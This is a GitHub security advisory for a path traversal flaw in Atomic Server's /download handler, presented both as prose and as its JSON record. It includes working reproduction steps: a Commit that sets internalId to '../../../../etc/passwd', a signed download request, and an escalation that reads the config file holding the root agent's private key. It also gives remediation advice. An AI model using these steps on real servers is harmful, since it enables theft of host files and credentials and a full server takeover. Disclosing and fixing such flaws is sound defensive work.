GHSA-8VC4-8HJQ-988P
Vulnerability from github – Published: 2026-11-18 20:42 – Updated: 2026-11-18 20:42Summary
The Commit apply path enforces no allowlist of writable properties, so any authenticated Agent can set the internalId string (datatype string, no character validation) on a resource it owns. The /download handler then uses that value verbatim as a filesystem path — file_path.push(internal_id); NamedFile::open(file_path) — with no sanitization and no containment check (server/src/handlers/download.rs:56-65). By setting internalId to a traversal path (../../../../etc/passwd) or an absolute path (PathBuf::push of an absolute path replaces the buffer), an attacker reads any file on the host. The highest-value target is the server config file storing the root agent private key, which yields full server compromise. Only the upload path sanitizes filenames (sanitize_filename); the download path trusts the stored value. The handler also never checks that the resource is a File.
Affected component
server/src/handlers/download.rs:56-65—file_path.push(internal_id)+NamedFile::open, no sanitization, noFile-class check.lib/src/commit.rs(apply_changes) — sets any property; no server-managed-property denylist.
Steps to Reproduce
Environment: joepmeneer/atomic-server:develop, http://localhost:9883. Attacker is any Agent with write on a parent (self-signup, or via the /setup issue reported separately).
- Create a resource and set
internalIdto a traversal path — sign the Commit andPOST /commit(200):
subject = http://localhost:9883/pwnfile
set = {
"https://atomicdata.dev/properties/parent": "http://localhost:9883",
"https://atomicdata.dev/properties/internalId": "../../../../../../../../etc/passwd"
}
- Download it. The auth signature is over the resolved subject (the server strips the
/downloadprefix →http://localhost:9883/pwnfile):
GET /download/pwnfile HTTP/1.1
Host: localhost:9883
x-atomic-public-key: <pubkey>
x-atomic-agent: http://localhost:9883/agents/<pubkey>
x-atomic-timestamp: <ms>
x-atomic-signature: <ed25519("http://localhost:9883/pwnfile <ms>")>
Response 200 OK returns the host /etc/passwd:
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
- Escalate — set
internalId = /atomic-storage/config/config.toml(absolute path) and download again:
server = "http://localhost:9883"
agent = "http://localhost:9883/agents/+/KwsAmyzc7S/..."
private_key = "REDACTED-ROOT-ED25519-PRIVATE-KEY" # server root agent key
- Using the stolen key, the attacker signs a Commit with
signer = <root agent>→POST /commit(200) edits data as root. Full compromise.
Expected: internalId treated as a server-managed property and/or /download canonicalizes and confines the path to uploads_path.
Actual: Arbitrary host file read, including the root private key.
Impact
Arbitrary file read as the server process: /etc/passwd, env, TLS keys, the sled DB, K8s service-account tokens, and the root agent private key → root impersonation → full read/write/delete of all data. Only a standard account is needed.
Remediation
- In
download.rs:sanitize_filename(internal_id), thencanonicalizeand assert the resolved path stays withinuploads_pathbefore opening; verify the resource is aFile. - Add a server-managed-property denylist (
internalId, rights arrays, etc.) inlib/src/commit.rsso clients cannot set them.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "atomic-server"
},
"ranges": [
{
"events": [
{
"introduced": "0.30.0"
},
{
"last_affected": "0.40.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69156"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-18T20:42:15Z",
"nvd_published_at": "2026-11-17T21:18:12Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path \u2014 `file_path.push(internal_id); NamedFile::open(file_path)` \u2014 with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` \u2014 `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) \u2014 sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path \u2014 sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix \u2192 `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \u003cpubkey\u003e\nx-atomic-agent: http://localhost:9883/agents/\u003cpubkey\u003e\nx-atomic-timestamp: \u003cms\u003e\nx-atomic-signature: \u003ced25519(\"http://localhost:9883/pwnfile \u003cms\u003e\")\u003e\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate \u2014 set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = \u003croot agent\u003e` \u2192 `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** \u2192 root impersonation \u2192 full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.",
"id": "GHSA-8vc4-8hjq-988p",
"modified": "2026-11-18T20:42:15Z",
"published": "2026-11-18T20:42:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69156"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"
},
{
"type": "PACKAGE",
"url": "https://github.com/ontola/atomic-server"
},
{
"type": "WEB",
"url": "https://github.com/ontola/atomic-server/releases/tag/v0.40.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.